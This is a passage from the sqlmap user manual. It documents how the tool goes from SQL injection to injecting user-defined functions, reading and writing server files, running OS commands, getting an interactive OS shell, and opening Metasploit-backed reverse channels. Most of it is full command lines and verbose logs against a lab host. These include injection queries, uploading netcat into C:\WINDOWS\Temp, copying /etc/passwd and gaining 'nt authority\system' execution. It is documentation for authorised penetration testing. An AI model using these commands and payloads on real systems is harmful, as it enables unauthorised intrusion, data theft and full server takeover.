the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you. Example on a <bf>PostgreSQL 8.4</bf>: <tscreen><verb> $ python sqlmap.py -u http://192.168.136.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0 [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so how many user-defined functions do you want to create from the shared library? 1 what is the name of the UDF number 1? sys_eval how many input parameters takes UDF 'sys_eval'? (default: 1) what is the data-type of input parameter number 1? (default: text) what is the data-type of the return value? (default: text) do you want to call your injected user-defined functions now? [Y/n/q] y which UDF do you want to call? [1] sys_eval [q] Quit > 1 what is the value of the parameter number 1 (data-type: text)? echo test do you want to retrieve the return value of the UDF? [Y/n] return value: 'test' do you want to call this or another injected UDF? [Y/n] n do you want to remove UDF 'sys_eval'? [Y/n] [12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually </verb></tscreen> If you want, you can specify the shared library local file system path via command line using <tt>-</tt><tt>-shared-lib</tt> option. <sect1>File system access <sect2>Read a file from the database server's file system Switch: <tt>-</tt><tt>-read-file</tt> It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file. sqlmap will handle it automatically. These techniques are detailed in the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. Example on a <bf>PostgreSQL 8.3.5</bf> target to retrieve a text file: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.aspx?id=1" \ --read-file "C:\example.txt" -v 2 [...] [hh:mm:53] [INFO] the back-end DBMS is PostgreSQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: PostgreSQL [hh:mm:53] [INFO] testing stacked queries support on parameter 'id' [hh:mm:53] [INFO] detecting back-end DBMS version from its banner [hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)), CHR(32)) [hh:mm:53] [INFO] retrieved: 8.3.5, [hh:mm:58] [DEBUG] performed 49 queries in 4 seconds [hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5) [hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500)) [hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION()) [hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)|| CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END) [hh:mm:03] [INFO] retrieved: 1 [hh:mm:03] [DEBUG] performed 5 queries in 0 seconds [hh:mm:03] [INFO] the back-end DBMS operating system is Windows [hh:mm:03] [DEBUG] cleaning up the database management system [hh:mm:03] [DEBUG] removing support tables [hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique [hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file is binary, its content will not be retrieved [hh:mm:04] [INFO] fetching file: 'C:/example.txt' [hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea) [hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table [hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt' [hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile [hh:mm:04] [INFO] retrieved: 1 [hh:mm:04] [DEBUG] performed 6 queries in 0 seconds [hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101) ||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1 [hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ== [hh:mm:22] [DEBUG] performed 203 queries in 18 seconds [hh:mm:22] [DEBUG] cleaning up the database management system [hh:mm:22] [DEBUG] removing support tables [hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile C:/example.txt file saved to: '/home/inquis/sqlmap/output/192.168.136.131/files/C__example.txt' [hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/192.168.136.131' $ cat output/192.168.136.131/files/C__example.txt This is a text file </verb></tscreen> Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target to retrieve a binary file: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \ --read-file "C:\example.exe" --union-use -v 1 [...] [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing technique [hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name' [hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql injection vulnerability [hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter 'name' by appending a false condition after the parameter value [hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry) inband sql injection vulnerability valid union: 'http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ' [hh:mm:49] [INFO] testing stacked queries support on parameter 'name' [hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name' [hh:mm:54] [INFO] fetching file: 'C:/example.exe' [hh:mm:54] [INFO] the SQL query provided returns 3 entries C:/example.exe file saved to: '/home/inquis/sqlmap/output/192.168.136.131/files/ C__example.exe' [hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/ 192.168.136.131' $ ls -l output/192.168.136.131/files/C__example.exe -rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/192.168.136.131/files/C__example.exe $ file output/192.168.136.131/files/C__example.exe output/192.168.136.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit </verb></tscreen> <sect2>Write a local file on the database server's file system Switches: <tt>-</tt><tt>-write-file</tt> and <tt>-</tt><tt>-dest-file</tt> It is possible to upload a local file to the database server file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file. sqlmap will handle it automatically. These techniques are detailed in the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. Example on a <bf>MySQL 5.0.67</bf> target to upload a binary UPX-compressed file: <tscreen><verb> $ file /tmp/nc.exe.packed /tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit $ ls -l /tmp/nc.exe.packed -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" --write-file \ "/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [hh:mm:29] [INFO] testing stacked queries support on parameter 'id' [hh:mm:29] [INFO] detecting back-end DBMS version from its banner [hh:mm:29] [INFO] retrieved: 5.0.67 [hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:36] [INFO] retrieved: C [hh:mm:36] [INFO] the back-end DBMS operating system is Windows do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully written on the back-end DBMS file system? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, same size as the local file '/tmp/nc.exe.packed' </verb></tscreen> Example on a <bf>PostgreSQL 8.4</bf> target to upload a text file: <tscreen><verb> $ python sqlmap.py -u http://192.168.136.131/sqlmap/pgsql/get_int8.4.php?id=1 \ --write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1 [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:01] [INFO] testing stacked queries support on parameter 'id' [hh:mm:01] [INFO] detecting back-end DBMS version from its banner [hh:mm:01] [INFO] retrieved: 8.4.2 [hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:07] [INFO] retrieved: 0 [hh:mm:07] [INFO] retrieved: 0 [hh:mm:07] [INFO] the back-end DBMS operating system is Linux do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully written on the back-end DBMS file system? [Y/n] [hh:mm:14] [INFO] retrieved: 2264 [hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes, same size as the local file '/etc/passwd' </verb></tscreen> <sect1>Operating system access <sect2>Execute arbitrary operating system command Switches: <tt>-</tt><tt>-os-cmd</tt> and <tt>-</tt><tt>-os-shell</tt> It is possible to execute arbitrary commands on the underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, <tt>sys_exec()</tt> and <tt>sys_eval()</tt>, then it creates these two functions on the database and call one of them to execute the specified command, depending on the user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the <tt>xp_cmshell</tt> stored procedure: if it's disabled, sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch. If the user wants to retrieve the command standard output, sqlmap will use one of the enumeration SQL injection techniques (blind or inband) to retrieve it or, in case of stacked query SQL injection technique, sqlmap will execute the command without returning anything to the user. These techniques are detailed in the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. It is possible to specify a single command to be executed with the <tt>-</tt><tt>-os-cmd</tt> option. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.aspx?id=1" \ --os-cmd "whoami" -v 1 [...] [hh:mm:05] [INFO] the back-end DBMS is PostgreSQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: PostgreSQL [hh:mm:05] [INFO] testing stacked queries support on parameter 'id' [hh:mm:05] [INFO] detecting back-end DBMS version from its banner [hh:mm:05] [INFO] retrieved: 8.3.5, [hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:15] [INFO] retrieved: 1 [hh:mm:16] [INFO] the back-end DBMS operating system is Windows [hh:mm:16] [INFO] testing if current user is DBA [hh:mm:16] [INFO] retrieved: 1 [hh:mm:16] [INFO] checking if sys_exec UDF already exist [hh:mm:16] [INFO] retrieved: 0 [hh:mm:18] [INFO] checking if sys_eval UDF already exist [hh:mm:18] [INFO] retrieved: 0 [hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file [hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file do you want to retrieve the command standard output? [Y/n] [hh:mm:35] [INFO] retrieved: w2k3dev\postgres command standard output: 'w2k3dev\postgres' </verb></tscreen> Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \ --os-cmd "whoami" --union-use -v 1 [...] [hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing technique [hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name' [hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql injection vulnerability [hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name' by appending a false condition after the parameter value [hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband sql injection vulnerability valid union: 'http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv' [hh:mm:58] [INFO] testing stacked queries support on parameter 'name' [hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name' [hh:mm:03] [INFO] testing if current user is DBA [hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait.. [hh:mm:09] [INFO] xp_cmdshell extended procedure is available do you want to retrieve the command standard output? [Y/n] [hh:mm:11] [INFO] the SQL query provided returns 1 entries command standard output: --- nt authority\network service --- </verb></tscreen> It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is <tt>-</tt><tt>-os-shell</tt> and has the same TAB completion and history functionalities like <tt>-</tt><tt>-sql-shell</tt>. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" \ --os-shell -v 2 [...] [hh:mm:36] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [hh:mm:36] [INFO] testing stacked queries support on parameter 'id' [hh:mm:36] [INFO] detecting back-end DBMS version from its banner [hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32)) [hh:mm:36] [INFO] retrieved: 5.0.67 [hh:mm:37] [DEBUG] performed 49 queries in 1 seconds [hh:mm:37] [DEBUG] query: SELECT SLEEP(5) [hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text) [hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION()) [hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32)) [hh:mm:42] [INFO] retrieved: C [hh:mm:42] [DEBUG] performed 14 queries in 0 seconds [hh:mm:42] [INFO] the back-end DBMS operating system is Windows [hh:mm:42] [DEBUG] cleaning up the database management system [hh:mm:42] [DEBUG] removing support tables [hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:42] [INFO] testing if current user is DBA [hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user= (SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END) [hh:mm:42] [INFO] retrieved: 1 [hh:mm:43] [DEBUG] performed 5 queries in 0 seconds [hh:mm:43] [INFO] checking if sys_exec UDF already exist [hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name= CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END) [hh:mm:43] [INFO] retrieved: 0 [hh:mm:43] [DEBUG] performed 14 queries in 0 seconds [hh:mm:43] [INFO] checking if sys_eval UDF already exist [hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name= CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END) [hh:mm:43] [INFO] retrieved: 0 [hh:mm:43] [DEBUG] performed 14 queries in 0 seconds [hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique [hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to [hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob) [hh:mm:43] [DEBUG] encoding file to its hexadecimal string value [hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the support table [hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table [hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...]) [hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...]) [hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...]) [hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...]) [hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll' [hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll' [hh:mm:44] [DEBUG] cleaning up the database management system [hh:mm:44] [DEBUG] removing support tables [hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file [hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec [hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll' [hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file [hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval [hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME 'libsqlmapudftxxgk.dll' [hh:mm:44] [DEBUG] creating a support table to write commands standard output to [hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput [hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext) [hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for operating system command execution [hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER os-shell> whoami do you want to retrieve the command standard output? [Y/n] [hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami')) [hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM sqlmapoutput [hh:mm:41] [INFO] retrieved: nt authority\system [hh:mm:44] [DEBUG] performed 140 queries in 2 seconds [hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput command standard output: 'nt authority\system' os-shell> [TAB TAB] copy del dir echo md mem move net netstat -na ver whoami xcopy os-shell> exit [hh:mm:51] [INFO] cleaning up the database management system [hh:mm:51] [DEBUG] removing support tables [hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput do you want to remove sys_exec UDF? [Y/n] n do you want to remove sys_eval UDF? [Y/n] n [hh:mm:04] [INFO] database management system cleanup finished [hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system can only be deleted manually </verb></tscreen> Now run it again, but specifying the <tt>-</tt><tt>-union-use</tt> to retrieve the command standard output quicker, via UNION based SQL injection, when the parameter is affected also by inband SQL injection vulnerability: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" \ --os-shell -v 2 --union-use [...] [hh:mm:16] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing technique [hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id' [hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability valid union: 'http://192.168.136.131/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT NULL, NULL, NULL# AND 528=528' [hh:mm:16] [INFO] testing stacked queries support on parameter 'id' [hh:mm:16] [INFO] detecting back-end DBMS version from its banner [hh:mm:16] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77), MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173 [hh:mm:16] [DEBUG] performed 1 queries in 0 seconds [hh:mm:16] [DEBUG] query: SELECT SLEEP(5) [hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text) [hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION()) [hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77), MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574 [hh:mm:21] [DEBUG] performed 1 queries in 0 seconds [hh:mm:21] [INFO] the back-end DBMS operating system is Windows [hh:mm:21] [DEBUG] cleaning up the database management system [hh:mm:21] [DEBUG] removing support tables [hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:21] [INFO] testing if current user is DBA [hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19 [hh:mm:21] [DEBUG] performed 1 queries in 0 seconds [hh:mm:21] [INFO] checking if sys_exec UDF already exist [hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN ((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)= CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 4900=4900 [hh:mm:21] [DEBUG] performed 1 queries in 0 seconds sys_exec UDF already exists, do you want to overwrite it? [y/N] n [hh:mm:24] [INFO] checking if sys_eval UDF already exist [hh:mm:24] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN ((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)= CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 4437=4437 [hh:mm:24] [DEBUG] performed 1 queries in 0 seconds sys_eval UDF already exists, do you want to overwrite it? [y/N] n [hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested [hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested [hh:mm:25] [DEBUG] creating a support table to write commands standard output to [hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput [hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext) [hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for operating system command execution [hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER os-shell> ipconfig do you want to retrieve the command standard output? [Y/n] [hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig')) [hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST (data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND 7106=7106 [hh:mm:29] [DEBUG] performed 1 queries in 0 seconds [hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput command standard output: --- Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.136.131 Subnet Mask . . . . . . . . . . . : 255.255.255.0 ---Default Gateway . . . . . . . . . : 192.168.136.1 os-shell> exit [hh:mm:41] [INFO] cleaning up the database management system [hh:mm:41] [DEBUG] removing support tables [hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput do you want to remove sys_exec UDF? [Y/n] n do you want to remove sys_eval UDF? [Y/n] n [hh:mm:54] [INFO] database management system cleanup finished [hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system can only be deleted manually </verb></tscreen> As you can see from this second example, sqlmap firstly check if the two user-defined functions are already created, if so, it asks the user if he wants to recreate them or keep them and save time. <sect2>Prompt for an out-of-band shell, Meterpreter or VNC Switches: <tt>-</tt><tt>-os-pwn</tt>, <tt>-</tt><tt>-priv-esc</tt>, <tt>-</tt><tt>-msf-path</tt> and <tt>-</tt><tt>-tmp-path</tt> It is possible to establish an <bf>out-of-band stateful TCP connection between the user machine and the database server</bf> underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are: <itemize> <item>Database <bf>in-memory execution of the Metasploit's shellcode</bf> via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on MySQL and PostgreSQL. <item>Upload and execution of a Metasploit's <bf>stand-alone payload stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL Server. <item>Execution of Metasploit's shellcode by performing a <bf>SMB reflection attack</bf> (<htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx" name="MS08-068">) with a UNC path request from the database server to the user's machine where the Metasploit <tt>smb_relay</tt> server exploit runs. <item>Database in-memory execution of the Metasploit's shellcode by exploiting <bf>Microsoft SQL Server 2000 and 2005 <tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer overflow</bf> (<htmlurl url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx" name="MS09-004">) with automatic DEP bypass. </itemize> Note that this feature is not supported by sqlmap running on Windows because it relies on Metasploit's <tt>msfcli</tt> which is not available for Windows. These techniques are detailed in the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> and in the slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database" name="Expanding the control over the operating system from the database">. Example on a <bf>MySQL 5.1</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.128/sqlmap/mysql/get_int_51.aspx?id=1" \ --os-pwn -v 1 --msf-path /home/inquis/software/metasploit [...] web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [hh:mm:09] [INFO] testing stacked queries support on parameter 'id' [hh:mm:09] [INFO] detecting back-end DBMS version from its banner [hh:mm:09] [INFO] retrieved: 5.1.30 [hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:18] [INFO] retrieved: C [hh:mm:19] [INFO] the back-end DBMS operating system is Windows [hh:mm:19] [INFO] testing if current user is DBA [hh:mm:19] [INFO] retrieved: 1 [hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist [hh:mm:20] [INFO] retrieved: 0 [hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:21] [INFO] retrieved: 0 [hh:mm:21] [INFO] retrieving MySQL base directory absolute path [hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\ [hh:mm:46] [WARNING] this will only work if the database administrator created manually the 'C:/Program 